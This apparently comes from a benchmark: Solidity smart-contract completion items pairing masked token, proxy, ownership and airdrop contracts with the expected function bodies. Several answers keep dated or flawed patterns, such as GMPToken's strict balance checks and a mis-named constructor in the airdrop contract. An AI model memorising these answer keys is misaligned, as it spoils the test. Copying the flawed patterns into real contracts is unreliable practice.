contract DeCashProxy is DeCashBase, Proxy { bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; event ProxyInitiated(address indexed implementation); event ProxyUpgraded(address indexed implementation); <FILL_FUNCTION> function upgrade(address _address) public onlyLatestContract("upgrade", msg.sender) { _setImplementation(_address); emit ProxyUpgraded(_address); } function initialize(address _address) external onlyOwner { require( !_getBool(keccak256(abi.encodePacked("proxy.init", address(this)))), "Proxy already initialized" ); _setImplementation(_address); _setBool(keccak256(abi.encodePacked("proxy.init", address(this))), true); emit ProxyInitiated(_address); } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address _address) private { require(Address.isContract(_address), "address is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, _address) } } /** * @dev Returns the current implementation address. */ function _implementation() internal view override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } }
assert( _IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1) ); version = 1;
constructor(address _decashStorageAddress) DeCashBase(_decashStorageAddress)
// Construct constructor(address _decashStorageAddress) DeCashBase(_decashStorageAddress)
40106
StandardToken
decreaseApproval
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {<FILL_FUNCTION_BODY> } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } <FILL_FUNCTION> }
uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
/** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
48615
Governance
setGovernance
contract Governance { address public _governance; constructor() public { _governance = tx.origin; } event GovernanceTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyGovernance { require(msg.sender == _governance, "not governance"); _; } function setGovernance(address governance) public onlyGovernance {<FILL_FUNCTION_BODY> } }
contract Governance { address public _governance; constructor() public { _governance = tx.origin; } event GovernanceTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyGovernance { require(msg.sender == _governance, "not governance"); _; } <FILL_FUNCTION> }
require(governance != address(0), "new governance the zero address"); emit GovernanceTransferred(_governance, governance); _governance = governance;
function setGovernance(address governance) public onlyGovernance
function setGovernance(address governance) public onlyGovernance
1621
Ownable
transferOwnership
contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> }
if (newOwner != address(0)) { owner = newOwner; }
function transferOwnership(address newOwner) onlyOwner
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner
54596
MintableToken
mint
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } }
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } <FILL_FUNCTION> /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } }
totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true;
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool)
/** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool)
85359
HYPE_Finance
null
contract HYPE_Finance is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; //address public owner; constructor () ERC20Detailed("HYPE-Finance", "HYPE", 18) {<FILL_FUNCTION_BODY> } }
contract HYPE_Finance is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; <FILL_FUNCTION> }
owner = msg.sender; _totalSupply = 10000 *(10**uint256(18)); _balances[msg.sender] = _totalSupply;
constructor () ERC20Detailed("HYPE-Finance", "HYPE", 18)
//address public owner; constructor () ERC20Detailed("HYPE-Finance", "HYPE", 18)
11329
StandardToken
approve
contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns(uint256 balance) { return balances[_owner]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns(bool) {<FILL_FUNCTION_BODY> } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns(uint256 remaining) { return allowed[_owner][_spender]; } }
contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns(uint256 balance) { return balances[_owner]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } <FILL_FUNCTION> /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns(uint256 remaining) { return allowed[_owner][_spender]; } }
require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true;
function approve(address _spender, uint256 _value) public returns(bool)
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns(bool)
30985
BEE_TOKEN
transferFrom
contract BEE_TOKEN is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public RATE; uint public DENOMINATOR; bool public isStopped = false; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed to, uint256 amount); event ChangeRate(uint256 amount); modifier onlyWhenRunning { require(!isStopped); _; } // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "BEE"; name = "BEE TOKEN"; decimals = 18; _totalSupply = 1000000000 * 10**uint(decimals); balances[owner] = _totalSupply; RATE = 20000000; // 1 ETH = 2000 OPY DENOMINATOR = 10000; emit Transfer(address(0), owner, _totalSupply); } // ---------------------------------------------------------------------------- // It invokes when someone sends ETH to this contract address // requires enough gas for execution // ---------------------------------------------------------------------------- function() public payable { buyTokens(); } // ---------------------------------------------------------------------------- // Function to handle eth and token transfers // tokens are transferred to user // ETH are transferred to current owner // ---------------------------------------------------------------------------- function buyTokens() onlyWhenRunning public payable { require(msg.value > 0); uint tokens = msg.value.mul(RATE).div(DENOMINATOR); require(balances[owner] >= tokens); balances[msg.sender] = balances[msg.sender].add(tokens); balances[owner] = balances[owner].sub(tokens); emit Transfer(owner, msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require(to != address(0)); require(tokens > 0); require(balances[msg.sender] >= tokens); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { require(spender != address(0)); require(tokens > 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Increase the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To increment // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _addedValue The amount of tokens to increase the allowance by. // ------------------------------------------------------------------------ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Decrease the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To decrement // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _subtractedValue The amount of tokens to decrease the allowance by. // ------------------------------------------------------------------------ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(_spender != address(0)); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Change the ETH to IO rate // ------------------------------------------------------------------------ function changeRate(uint256 _rate) public onlyOwner { require(_rate > 0); RATE =_rate; emit ChangeRate(_rate); } // ------------------------------------------------------------------------ // Function to mint tokens // _to The address that will receive the minted tokens. // _amount The amount of tokens to mint. // A boolean that indicates if the operation was successful. // ------------------------------------------------------------------------ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { require(_to != address(0)); require(_amount > 0); uint newamount = _amount * 10**uint(decimals); _totalSupply = _totalSupply.add(newamount); balances[_to] = balances[_to].add(newamount); emit Mint(_to, newamount); emit Transfer(address(0), _to, newamount); return true; } // ------------------------------------------------------------------------ // function to stop the ICO // ------------------------------------------------------------------------ function stopICO() onlyOwner public { isStopped = true; } // ------------------------------------------------------------------------ // function to resume ICO // ------------------------------------------------------------------------ function resumeICO() onlyOwner public { isStopped = false; } }
contract BEE_TOKEN is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public RATE; uint public DENOMINATOR; bool public isStopped = false; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed to, uint256 amount); event ChangeRate(uint256 amount); modifier onlyWhenRunning { require(!isStopped); _; } // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "BEE"; name = "BEE TOKEN"; decimals = 18; _totalSupply = 1000000000 * 10**uint(decimals); balances[owner] = _totalSupply; RATE = 20000000; // 1 ETH = 2000 OPY DENOMINATOR = 10000; emit Transfer(address(0), owner, _totalSupply); } // ---------------------------------------------------------------------------- // It invokes when someone sends ETH to this contract address // requires enough gas for execution // ---------------------------------------------------------------------------- function() public payable { buyTokens(); } // ---------------------------------------------------------------------------- // Function to handle eth and token transfers // tokens are transferred to user // ETH are transferred to current owner // ---------------------------------------------------------------------------- function buyTokens() onlyWhenRunning public payable { require(msg.value > 0); uint tokens = msg.value.mul(RATE).div(DENOMINATOR); require(balances[owner] >= tokens); balances[msg.sender] = balances[msg.sender].add(tokens); balances[owner] = balances[owner].sub(tokens); emit Transfer(owner, msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require(to != address(0)); require(tokens > 0); require(balances[msg.sender] >= tokens); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { require(spender != address(0)); require(tokens > 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Increase the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To increment // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _addedValue The amount of tokens to increase the allowance by. // ------------------------------------------------------------------------ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Decrease the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To decrement // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _subtractedValue The amount of tokens to decrease the allowance by. // ------------------------------------------------------------------------ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(_spender != address(0)); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Change the ETH to IO rate // ------------------------------------------------------------------------ function changeRate(uint256 _rate) public onlyOwner { require(_rate > 0); RATE =_rate; emit ChangeRate(_rate); } // ------------------------------------------------------------------------ // Function to mint tokens // _to The address that will receive the minted tokens. // _amount The amount of tokens to mint. // A boolean that indicates if the operation was successful. // ------------------------------------------------------------------------ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { require(_to != address(0)); require(_amount > 0); uint newamount = _amount * 10**uint(decimals); _totalSupply = _totalSupply.add(newamount); balances[_to] = balances[_to].add(newamount); emit Mint(_to, newamount); emit Transfer(address(0), _to, newamount); return true; } // ------------------------------------------------------------------------ // function to stop the ICO // ------------------------------------------------------------------------ function stopICO() onlyOwner public { isStopped = true; } // ------------------------------------------------------------------------ // function to resume ICO // ------------------------------------------------------------------------ function resumeICO() onlyOwner public { isStopped = false; } }
require(from != address(0)); require(to != address(0)); require(tokens > 0); require(balances[from] >= tokens); require(allowed[from][msg.sender] >= tokens); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
18057
GMPToken
_transfer
contract GMPToken is Ownable, ERC20Interface { /* Public variables of the token */ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* Constuctor: Initializes contract with initial supply tokens to the creator of the contract */ function GMPToken( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balances[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes } /* Implementation of ERC20Interface */ function totalSupply() constant returns (uint256 totalSupply) { return totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _amount) internal {<FILL_FUNCTION_BODY> } function transfer(address _to, uint256 _amount) returns (bool success) { _transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require (_value < allowed[_from][msg.sender]); // Check allowance allowed[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function mintToken(uint256 mintedAmount) onlyOwner { balances[Ownable.owner] += mintedAmount; totalSupply += mintedAmount; Transfer(0, Ownable.owner, mintedAmount); } }
contract GMPToken is Ownable, ERC20Interface { /* Public variables of the token */ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* Constuctor: Initializes contract with initial supply tokens to the creator of the contract */ function GMPToken( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balances[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes } /* Implementation of ERC20Interface */ function totalSupply() constant returns (uint256 totalSupply) { return totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } <FILL_FUNCTION> function transfer(address _to, uint256 _amount) returns (bool success) { _transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require (_value < allowed[_from][msg.sender]); // Check allowance allowed[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function mintToken(uint256 mintedAmount) onlyOwner { balances[Ownable.owner] += mintedAmount; totalSupply += mintedAmount; Transfer(0, Ownable.owner, mintedAmount); } }
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balances[_from] > _amount); // Check if the sender has enough require (balances[_to] + _amount > balances[_to]); // Check for overflows balances[_from] -= _amount; // Subtract from the sender balances[_to] += _amount; // Add the same to the recipient Transfer(_from, _to, _amount);
function _transfer(address _from, address _to, uint _amount) internal
/* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _amount) internal
72264
NydroniaAirDrop
sendInternally
contract NydroniaAirDrop is Ownable { Token token; event TransferredToken(address indexed to, uint256 value); event FailedTransfer(address indexed to, uint256 value); modifier whenDropIsActive() { assert(isActive()); _; } function AirDrop () { address _tokenAddr = 0xdB11F6Fc8E16c02719e9c2Eb3c4C762feE8F5C5b; //here pass address of your token token = Token(_tokenAddr); } function isActive() constant returns (bool) { return ( tokensAvailable() > 0// Tokens must be available to send ); } //below function can be used when you want to send every recipeint with different number of tokens function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external { uint256 i = 0; while (i < dests.length) { uint256 toSend = values[i] * 10**18; sendInternally(dests[i] , toSend, values[i]); i++; } } // this function can be used when you want to send same number of tokens to all the recipients function sendTokensSingleValue(address[] dests, uint256 value) whenDropIsActive onlyOwner external { uint256 i = 0; uint256 toSend = value * 10**18; while (i < dests.length) { sendInternally(dests[i] , toSend, value); i++; } } function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal {<FILL_FUNCTION_BODY> } function tokensAvailable() constant returns (uint256) { return token.balanceOf(this); } function destroy() onlyOwner { uint256 balance = tokensAvailable(); require (balance > 0); token.transfer(owner, balance); selfdestruct(owner); } }
contract NydroniaAirDrop is Ownable { Token token; event TransferredToken(address indexed to, uint256 value); event FailedTransfer(address indexed to, uint256 value); modifier whenDropIsActive() { assert(isActive()); _; } function AirDrop () { address _tokenAddr = 0xdB11F6Fc8E16c02719e9c2Eb3c4C762feE8F5C5b; //here pass address of your token token = Token(_tokenAddr); } function isActive() constant returns (bool) { return ( tokensAvailable() > 0// Tokens must be available to send ); } //below function can be used when you want to send every recipeint with different number of tokens function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external { uint256 i = 0; while (i < dests.length) { uint256 toSend = values[i] * 10**18; sendInternally(dests[i] , toSend, values[i]); i++; } } // this function can be used when you want to send same number of tokens to all the recipients function sendTokensSingleValue(address[] dests, uint256 value) whenDropIsActive onlyOwner external { uint256 i = 0; uint256 toSend = value * 10**18; while (i < dests.length) { sendInternally(dests[i] , toSend, value); i++; } } <FILL_FUNCTION> function tokensAvailable() constant returns (uint256) { return token.balanceOf(this); } function destroy() onlyOwner { uint256 balance = tokensAvailable(); require (balance > 0); token.transfer(owner, balance); selfdestruct(owner); } }
if(recipient == address(0)) return; if(tokensAvailable() >= tokensToSend) { token.transfer(recipient, tokensToSend); TransferredToken(recipient, valueToPresent); } else { FailedTransfer(recipient, valueToPresent); }
function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal
function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal
12850
Ownable
null
